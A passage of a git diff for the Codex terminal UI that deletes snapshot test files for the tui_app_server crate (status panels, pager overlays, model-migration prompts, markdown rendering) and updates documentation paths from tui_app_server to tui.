b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap deleted file mode 100644 index 1db1dec56c..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- - - [Image #1] - [Image #2] - -› describe both diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_renders_remote_image_urls.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_renders_remote_image_urls.snap deleted file mode 100644 index d9d2527da4..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_renders_remote_image_urls.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- - - [Image #1] - -› describe these diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap deleted file mode 100644 index 6d1d86c7d6..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- - -› one two - three - four five - six seven diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_snapshot.snap deleted file mode 100644 index 8db1b6509f..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Searched example search query with several generic words to - exercise wrapping diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_transcript_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_transcript_snapshot.snap deleted file mode 100644 index 8db1b6509f..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_transcript_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Searched example search query with several generic words to - exercise wrapping diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap deleted file mode 100644 index a0f95c1e92..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap +++ /dev/null @@ -1,62 +0,0 @@ ---- -source: tui_app_server/src/markdown_render_tests.rs -expression: rendered ---- -# H1: Markdown Streaming Test - -Intro paragraph with bold text, italic text, and inline code x=1. -Combined bold-italic both and escaped asterisks *literal*. -Auto-link: https://example.com (https://example.com) and reference link [ref][r1]. -Link with title: hover me (https://example.com) and mailto mailto:test@example.com (mailto:test@example.com). -Image: alt text - -> Blockquote level 1 -> -> > Blockquote level 2 with inline code - -- Unordered list item 1 - - Nested bullet with italics inner -- Unordered list item 2 with strikethrough - -1. Ordered item one -2. Ordered item two with sublist: - 1. Alt-numbered subitem - -- [ ] Task: unchecked -- [x] Task: checked with link home (https://example.org) - -——— - -Table below (alignment test): -| Left | Center | Right | -|:-----|:------:|------:| -| a | b | c | -Inline HTML: sup and sub. -HTML block: -
inline block
-Escapes: \_underscores\_, backslash \\, ticks ``code with `backtick` inside``. -Emoji shortcodes: :sparkles: :tada: (if supported). -Hard break test (line ends with two spaces) -Next line should be close to previous. -Footnote reference here[^1] and another[^longnote]. -Horizontal rule with asterisks: -*** -Fenced code block (JSON): -```json -{ "a": 1, "b": [true, false] } -``` -Fenced code with tildes and triple backticks inside: -~~~markdown -To close ``` you need tildes. -~~~ -Indented code block: - for i in range(3): print(i) -Definition-like list: -Term -: Definition with `code`. -Character entities: & < > " ' -[^1]: This is the first footnote. -[^longnote]: A longer footnote with a link to [Rust](https://www.rust-lang.org/). -Escaped pipe in text: a \| b \| c. -URL with parentheses: [link](https://example.com/path_(with)_parens). -[r1]: https://example.com/ref "Reference link title" diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap deleted file mode 100644 index 5149360f19..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/markdown_render_tests.rs -expression: rendered ---- -See codex-rs/tui_app_server/src/markdown_render.rs:74. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt.snap deleted file mode 100644 index 3eff4785ad..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/model_migration.rs -expression: terminal.backend() ---- - -> Codex just got an upgrade. Introducing gpt-5.1-codex-max. - - Upgrade to gpt-5.2-codex for the latest and greatest - agentic coding model. - - You can continue using gpt-5.1-codex-mini if you prefer. - - Choose how you'd like Codex to proceed. - -› 1. Try new model - 2. Use existing model - - Use ↑/↓ to move, press enter to confirm diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex.snap deleted file mode 100644 index afd851372e..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/model_migration.rs -expression: terminal.backend() ---- - -> Codex just got an upgrade. Introducing gpt-5.1-codex-max. - - We recommend switching from gpt-5-codex to - gpt-5.1-codex-max. - - Codex-optimized flagship for deep and fast reasoning. - Learn more about gpt-5.1-codex-max at - https://www.codex.com/models/gpt-5.1-codex-max - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap deleted file mode 100644 index 183d61a6ed..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/model_migration.rs -expression: terminal.backend() ---- - -> Codex just got an upgrade. Introducing gpt-5.1-codex-mini. - - We recommend switching from gpt-5-codex-mini to - gpt-5.1-codex-mini. - - Optimized for codex. Cheaper, faster, but less capable. - Learn more about gpt-5.1-codex-mini at - https://www.codex.com/models/gpt-5.1-codex-mini - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_family.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_family.snap deleted file mode 100644 index 0457b66f9a..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_family.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/model_migration.rs -expression: terminal.backend() ---- - -> Codex just got an upgrade. Introducing gpt-5.1. - - We recommend switching from gpt-5 to gpt-5.1. - - Broad world knowledge with strong general reasoning. Learn more - about gpt-5.1 at https://www.codex.com/models/gpt-5.1 - - Press enter to continue diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_agent_transcript.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_agent_transcript.snap deleted file mode 100644 index 7ec7ba8de8..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_agent_transcript.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/multi_agents.rs -expression: snapshot ---- -• Spawned Robie [explorer] (gpt-5 high) - └ Compute 11! and reply with just the integer result. - -• Sent input to Robie [explorer] - └ Please continue and return the answer only. - -• Waiting for Robie [explorer] - -• Finished waiting - └ Robie [explorer]: Completed - 39916800 - Bob [worker]: Error - tool timeout - -• Closed Robie [explorer] diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_snapshot_basic.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_snapshot_basic.snap deleted file mode 100644 index edbdb28b3b..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_snapshot_basic.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: term.backend() ---- -"/ S T A T I C / / / / / / / / / / / / / " -"one " -"two " -"three " -"~ " -"~ " -"───────────────────────────────── 100% ─" -" ↑/↓ to scroll pgup/pgdn to page hom" -" q to quit " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_wraps_long_lines.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_wraps_long_lines.snap deleted file mode 100644 index 11abbf5f2b..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_wraps_long_lines.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: term.backend() ---- -"/ S T A T I C / / / / / " -"a very long line that " -"should wrap when " -"rendered within a narrow" -"─────────────────── 0% ─" -" ↑/↓ to scroll pgup/pg" -" q to quit " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap deleted file mode 100644 index 67649ae89f..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: snapshot ---- -/ T R A N S C R I P T / / / / / / / / / / / / / / / / / / / / / / / / / / / / / -• Added foo.txt (+2 -0) - 1 +hello - 2 +world - -• Added foo.txt (+2 -0) - 1 +hello - 2 +world -─────────────────────────────────────────────────────────────────────────── 0% ─ - ↑/↓ to scroll pgup/pgdn to page home/end to jump - q to quit esc to edit prev diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_renders_live_tail.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_renders_live_tail.snap deleted file mode 100644 index 3c4d559051..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_renders_live_tail.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: term.backend() ---- -"/ T R A N S C R I P T / / / / / / / / / " -"alpha " -" " -"tail " -"~ " -"~ " -"───────────────────────────────── 100% ─" -" ↑/↓ to scroll pgup/pgdn to page hom" -" q to quit esc to edit prev " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_snapshot_basic.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_snapshot_basic.snap deleted file mode 100644 index d2cfb476d5..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_snapshot_basic.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/pager_overlay.rs -expression: term.backend() ---- -"/ T R A N S C R I P T / / / / / / / / / " -"alpha " -" " -"beta " -" " -"gamma " -"───────────────────────────────── 100% ─" -" ↑/↓ to scroll pgup/pgdn to page hom" -" q to quit esc to edit prev " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_search_error.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_search_error.snap deleted file mode 100644 index 8fc69e48fa..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_search_error.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/resume_picker.rs -expression: snapshot ---- -Failed to read session metadata from /tmp/missing.jsonl diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_table.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_table.snap deleted file mode 100644 index 2180354046..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_table.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/resume_picker.rs -expression: snapshot ---- - Created at Updated at Branch CWD Conversation - 16 minutes ago 42 seconds ago - - Fix resume picker timestamps -> 1 hour ago 35 minutes ago - - Investigate lazy pagination cap - 2 hours ago 2 hours ago - - Explain the codebase diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_thread_names.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_thread_names.snap deleted file mode 100644 index dd9bea5164..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_thread_names.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/resume_picker.rs -expression: snapshot ---- - Created at Updated at Branch CWD Conversation -> - 2 days ago - - Keep this for now - - 3 days ago - - Named thread diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_truncated.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_truncated.snap deleted file mode 100644 index a495306cc0..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_truncated.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/status_indicator_widget.rs -expression: terminal.backend() ---- -"• Working (0s • esc…" -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_with_working_header.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_with_working_header.snap deleted file mode 100644 index 7f68d6b6d5..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_with_working_header.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/status_indicator_widget.rs -expression: terminal.backend() ---- -"• Working (0s • esc to interrupt) " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap deleted file mode 100644 index 921187eb18..0000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/status_indicator_widget.rs -expression: terminal.backend() ---- -"• Working (0s) " -" └ A man a plan a canal " -" panama " diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap deleted file mode 100644 index 3d915dc7d7..0000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap +++ /dev/null @@ -1,23 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭─────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 1.05K total (700 input + 350 output) │ -│ Context window: 100% left (1.45K used / 272K) │ -│ 5h limit: [████████░░░░░░░░░░░░] 40% left (resets 11:32) │ -│ Weekly limit: [█████████████░░░░░░░] 65% left (resets 11:52) │ -│ Warning: limits may be stale - start new turn to refresh. │ -╰─────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_credits_and_limits.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_credits_and_limits.snap deleted file mode 100644 index 5f1f199419..0000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_credits_and_limits.snap +++ /dev/null @@ -1,23 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 2K total (1.4K input + 600 output) │ -│ Context window: 100% left (2.2K used / 272K) │ -│ 5h limit: [███████████░░░░░░░░░] 55% left (resets 09:25) │ -│ Weekly limit: [██████████████░░░░░░] 70% left (resets 09:55) │ -│ Credits: 38 credits │ -╰───────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_forked_from.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_forked_from.snap deleted file mode 100644 index cb3ed002b8..0000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_forked_from.snap +++ /dev/null @@ -1,23 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ Session: 0f0f3c13-6cf9-4aa4-8b80-7d49c2f1be2e │ -│ Forked from: e9f18a88-8081-4e51-9d4e-8af5cde2d8dd │ -│ │ -│ Token usage: 1.2K total (800 input + 400 output) │ -│ Context window: 100% left (1.2K used / 272K) │ -│ Limits: data not available yet │ -╰───────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_monthly_limit.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_monthly_limit.snap deleted file mode 100644 index d35d89ed64..0000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_monthly_limit.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭────────────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 1.2K total (800 input + 400 output) │ -│ Context window: 100% left (1.2K used / 272K) │ -│ Monthly limit: [██████████████████░░] 88% left (resets 07:08 on 7 May) │ -╰────────────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_reasoning_details.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_reasoning_details.snap deleted file mode 100644 index 7eff624b33..0000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_reasoning_details.snap +++ /dev/null @@ -1,22 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning high, summaries detailed) │ -│ Directory: [[workspace]] │ -│ Permissions: Default │ -│ Agents.md: │ -│ │ -│ Token usage: 1.9K total (1K input + 900 output) │ -│ Context window: 100% left (2.25K used / 272K) │ -│ 5h limit: [██████░░░░░░░░░░░░░░] 28% left (resets 03:14) │ -│ Weekly limit: [███████████░░░░░░░░░] 55% left (resets 03:24) │ -╰───────────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_empty_limits_message.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_empty_limits_message.snap deleted file mode 100644 index 19789026b8..0000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_empty_limits_message.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 750 total (500 input + 250 output) │ -│ Context window: 100% left (750 used / 272K) │ -│ Limits: data not available yet │ -╰───────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_missing_limits_message.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_missing_limits_message.snap deleted file mode 100644 index 19789026b8..0000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_missing_limits_message.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 750 total (500 input + 250 output) │ -│ Context window: 100% left (750 used / 272K) │ -│ Limits: data not available yet │ -╰───────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_stale_limits_message.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_stale_limits_message.snap deleted file mode 100644 index 45dbf5bf27..0000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_stale_limits_message.snap +++ /dev/null @@ -1,23 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭───────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning none, summaries auto) │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 1.9K total (1K input + 900 output) │ -│ Context window: 100% left (2.25K used / 272K) │ -│ 5h limit: [██████░░░░░░░░░░░░░░] 28% left (resets 03:14) │ -│ Weekly limit: [████████████░░░░░░░░] 60% left (resets 03:34) │ -│ Warning: limits may be stale - start new turn to refresh. │ -╰───────────────────────────────────────────────────────────────────────╯ diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_truncates_in_narrow_terminal.snap b/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_truncates_in_narrow_terminal.snap deleted file mode 100644 index 7b7b4261a5..0000000000 --- a/codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_truncates_in_narrow_terminal.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/status/tests.rs -expression: sanitized ---- -/status - -╭────────────────────────────────────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ Visit https://chatgpt.com/codex/settings/usage for up-to-date │ -│ information on rate limits and credits │ -│ │ -│ Model: gpt-5.1-codex-max (reasoning high, summaries de │ -│ Directory: [[workspace]] │ -│ Permissions: Custom (read-only, on-request) │ -│ Agents.md: │ -│ │ -│ Token usage: 1.9K total (1K input + 900 output) │ -│ Context window: 100% left (2.25K used / 272K) │ -│ 5h limit: [██████░░░░░░░░░░░░░░] 28% left (resets 03:14) │ -╰────────────────────────────────────────────────────────────────────╯ diff --git a/docs/tui-alternate-screen.md b/docs/tui-alternate-screen.md index c1346d2c0d..2fe141a2f2 100644 --- a/docs/tui-alternate-screen.md +++ b/docs/tui-alternate-screen.md @@ -75,7 +75,7 @@ let terminal_info = codex_core::terminal::terminal_info(); !matches!(terminal_info.multiplexer, Some(Multiplexer::Zellij { .. })) ``` -This detection happens in the helper function `determine_alt_screen_mode()` in `codex-rs/tui_app_server/src/lib.rs`. +This detection happens in the helper function `determine_alt_screen_mode()` in `codex-rs/tui/src/lib.rs`. ### Configuration Schema diff --git a/docs/tui-chat-composer.md b/docs/tui-chat-composer.md index 3d0431b10c..5630b84eca 100644 --- a/docs/tui-chat-composer.md +++ b/docs/tui-chat-composer.md @@ -5,11 +5,11 @@ for Windows terminals. Primary implementations: -- `codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs` +- `codex-rs/tui/src/bottom_pane/chat_composer.rs` Paste-burst detector: -- `codex-rs/tui_app_server/src/bottom_pane/paste_burst.rs` +- `codex-rs/tui/src/bottom_pane/paste_burst.rs` ## What problem is being solved? @@ -68,7 +68,7 @@ while still providing a richer recall experience for in-session edits. ## Config gating for reuse `ChatComposer` now supports feature gating via `ChatComposerConfig` -(`codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs`). The default config preserves current chat +(`codex-rs/tui/src/bottom_pane/chat_composer.rs`). The default config preserves current chat behavior. Flags: @@ -90,7 +90,7 @@ Key effects when disabled: dropping the draft. Built-in slash command availability is centralized in -`codex-rs/tui_app_server/src/bottom_pane/slash_commands.rs` and reused by both the composer and the command +`codex-rs/tui/src/bottom_pane/slash_commands.rs` and reused by both the composer and the command popup so gating stays in sync. ## Submission flow (Enter/Tab) @@ -345,7 +345,7 @@ Non-char input must not leak burst state across unrelated actions: The `PasteBurst` logic is currently exercised through `ChatComposer` integration tests. -- `codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs` +- `codex-rs/tui/src/bottom_pane/chat_composer.rs` - `non_ascii_burst_handles_newline` - `ascii_burst_treats_enter_as_newline` - `question_mark_does_not_toggle_during_paste_burst` diff --git a/docs/tui-stream-chunking-review.md b/docs/tui-stream-chunking-review.md index f5731a60aa..3722492ddf 100644 --- a/docs/tui-stream-chunking-review.md +++ b/docs/tui-stream-chunking-review.md @@ -25,13 +25,13 @@ and visible output lags behind received output. ## Where the logic lives -- `codex-rs/tui_app_server/src/streaming/chunking.rs` +- 